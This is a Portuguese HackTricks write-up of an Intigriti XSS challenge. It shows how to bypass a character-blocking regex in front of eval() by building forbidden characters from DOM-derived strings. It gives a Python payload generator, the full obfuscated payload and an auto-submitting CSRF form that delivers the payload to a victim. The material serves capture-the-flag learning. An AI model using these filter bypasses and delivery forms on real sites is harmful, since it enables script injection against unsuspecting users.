71 KiB
challenge-0521.intigriti.io
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Breve Descrição
O desafio fornece um formulário vulnerável a XSS na página https://challenge-0521.intigriti.io/captcha.php.
Este formulário é carregado em https://challenge-0521.intigriti.io/ via um iframe.
Foi descoberto que o formulário irá inserir a entrada do usuário dentro da função JavaScript eval
. Isso geralmente não é uma boa ideia, pois pode levar à execução arbitrária de JavaScript, e este é um bom exemplo.
No entanto, antes de inserir a entrada do usuário dentro da função eval
, ela é verificada com a regexp /[a-df-z<>()!\\='"]/gi
para que, se algum desses caracteres for encontrado, a entrada do usuário não será executada dentro do eval
.
De qualquer forma, foi encontrado um modo de contornar a proteção da regexp e executar alert(document.domain)
abusando da perigosa função eval
.
Acessando o HTML
Foi descoberto que a letra e
é permitida como entrada do usuário. Também foi descoberto que há um elemento HTML usando o id="e"
. Portanto, este elemento HTML é acessível a partir do Javascript usando a variável e
:
Além disso, é importante saber que em JS você pode acessar os atributos de objetos com um ponto ou com uma string entre colchetes. Portanto, você pode acessar o atributo domain
de um objeto document
de qualquer uma das seguintes maneiras:
document.domain
document["domain"]
E o mesmo acontece com atributos que são funções (métodos):
document.write("1")
document["write"]("1")
Então, a partir do elemento HTML e
, é possível acessar o objeto document
usando algo como:
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]
Chamar uma função sem parênteses com código JS como string
A partir do objeto document
, é possível chamar a função write
para escrever texto HTML arbitrário que o navegador executará.
No entanto, como os caracteres ()
são proibidos, não é possível chamar a função usando eles. De qualquer forma, é possível chamar uma função usando backtips (``).
Além disso, é possível inserir como string código javascript que será executado usando ${...}
como:
`${"alert(document.location)"}`
Portanto, combinando o acesso ao objeto document
com essa técnica para executar funções sem parênteses, é possível executar um alerta usando:
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
Pode testar este código num console de JavaScript dentro da página https://challenge-0521.intigriti.io/captcha.php
Bypass final de caracteres proibidos
No entanto, ainda resta um problema. A maioria dos caracteres do exploit são proibidos pois aparecem na expressão regular /[a-df-z<>()!\\='"]/gi
. Mas observe como todos os caracteres proibidos são strings dentro do exploit e os caracteres não string no exploit (e[]`${}) são permitidos.
Isso significa que se for possível gerar os caracteres proibidos como strings a partir dos caracteres permitidos, é possível gerar o exploit.
Para fazer isso, gerei um alfabeto semelhante ao JSFuck para gerar os caracteres necessários (este alfabeto é personalizado para este desafio).
Pode ver o alfabeto completo dentro do código do exploit (que pode ser encontrado na próxima subseção e no arquivo exploit.txt).
Por exemplo, para gerar a letra a
é possível aceder a [[]/e+e][0][1]
pois [[]/e+e][0]
gera a string "NaN[object HTMLProgressElement]"
ou para gerar a letra f
é possível aceder ao 5º caractere de [[][[]]+e][0]
pois essa expressão gera a string "undefined[object HTMLProgressElement]"
.
Usando esses truques e alguns mais complexos, foi possível gerar todos os caracteres (letras e símbolos) das strings contidas no exploit:
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
Código de Exploração
Este é o exploit em python usado para gerar o exploit final. Se você executá-lo, ele imprimirá o exploit:
#JS Specific Direct Alphabet
x = {
"1": "1",
".": ".",
"[": "[e+e][0][0]",
"]": "[e+e][0][27]",
"/": "[/e/+e][0][0]",
"a": "[[]/e+e][0][1]",
"b": "[e+e][0][2]",
"c": "[e+e][0][5]",
"d": "[[][[]]+e][0][2]",
"e": "[e+e][0][4]",
"f": "[[][[]]+e][0][4]",
"g": "[e+e][0][15]",
"H": "[e+e][0][8]",
"i": "[[][[]]+e][0][5]",
"j": "[e+e][0][3]",
"L": "[e+e][0][11]",
"l": "[e+e][0][21]",
"M": "[e+e][0][10]",
"n": "[[][[]]+e][0][1]",
"N": "[[]/e+e][0][0]",
"o": "[e+e][0][1]",
"r": "[e+e][0][13]",
"s": "[e+e][0][18]",
"t": "[e+e][0][6]",
"T": "[e+e][0][9]",
"u": "[[][[]]+e][0][0]",
}
#JS Dependent Alphabet
#The following alphabet will use previously obtained characters
#Note that this way of getting the characters are custom for the abused HTML
outerHTML = '+'.join(x[k] for k in 'outerHTML')
x['p'] = f'e[{outerHTML}][1]'
x['y'] = f'e[{outerHTML}][39]'
x['<'] = f'e[{outerHTML}][0]'
x['>'] = f'e[{outerHTML}][62]'
x['"'] = f'e[{outerHTML}][13]'
parentNode = '+'.join(x[k] for k in 'parentNode')
document =f'e[{parentNode}][{parentNode}][{parentNode}][{parentNode}][{parentNode}]'
x['h'] = f'e[{parentNode}][{parentNode}][{outerHTML}][15]'
children = '+'.join(x[k] for k in 'children')
captcha = '+'.join(x[k] for k in 'captcha')
x['w'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][35]'
write = '+'.join(x[k] for k in 'write')
x['m'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][38]'
x['('] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][42]'
x[')'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][43]'
# Exploit generation
payload_text = '<script>alert(document["domain"])</script>'
payload = '+'.join(x[k] for k in payload_text)
txt = f'{document}[{write}]'+'`${['+payload+']}`'
print(txt) #Write the exploit to stdout
Exploração
Para gerar a exploração, basta executar o código Python anterior. Se preferir, você também pode copiá-lo/colá-lo daqui:
e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[]/e+e][0][1]][[e+e][0][15]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][35]+[e+e][0][13]+[[][[]]+e][0][5]+[e+e][0][6]+[e+e][0][4]]`${[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][0]+[e+e][0][18]+[e+e][0][5]+[e+e][0][13]+[[][[]]+e][0][5]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[e+e][0][6]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][62]+[[]/e+e][0][1]+[e+e][0][21]+[e+e][0][4]+[e+e][0][13]+[e+e][0][6]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][5]+e[e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][1]+[[]/e+e][0][1]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]+[e+e][0][6]+[[]/e+e][0][0]+[e+e][0][1]+[[][[]]+e][0][2]+[e+e][0][4]][[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+[e+e][0][4]+[e+e][0][13]+[e+e][0][8]+[e+e][0][9]+[e+e][0][10]+[e+e][0][11]][15]+[[][[]]+e][0][5]+[e+e][0][21]+[[][[]]+e][0][2]+[e+e][0][13]+[e+e][0][4]+[[][[]]+e][0][1]][[e+e][0][5]+[[]/e+e][0][1]+e[[e+e][0][1]+[[][[]]+e][0][0]+[e+e][0][6]+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Então, você precisa **gerar uma página HTML** que, quando carregada, vai **redirecionar** a vítima para a página do **desafio** **configurando o exploit no formulário de captcha**. O código a seguir pode ser usado para esse propósito (_observe que o exploit está codificado em URL_):
```markup
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://challenge-0521.intigriti.io/captcha.php" method="POST">
<input type="hidden" name="c" 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/>
```html
<input type="submit" value="Enviar solicitação" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Finalmente, sirva o poc em um servidor HTTP e acesse-o pelo navegador:\
Basta pressionar submit no formulário de captcha e o alerta será executado:
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Gostaria de ver sua empresa anunciada no HackTricks? ou gostaria de ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.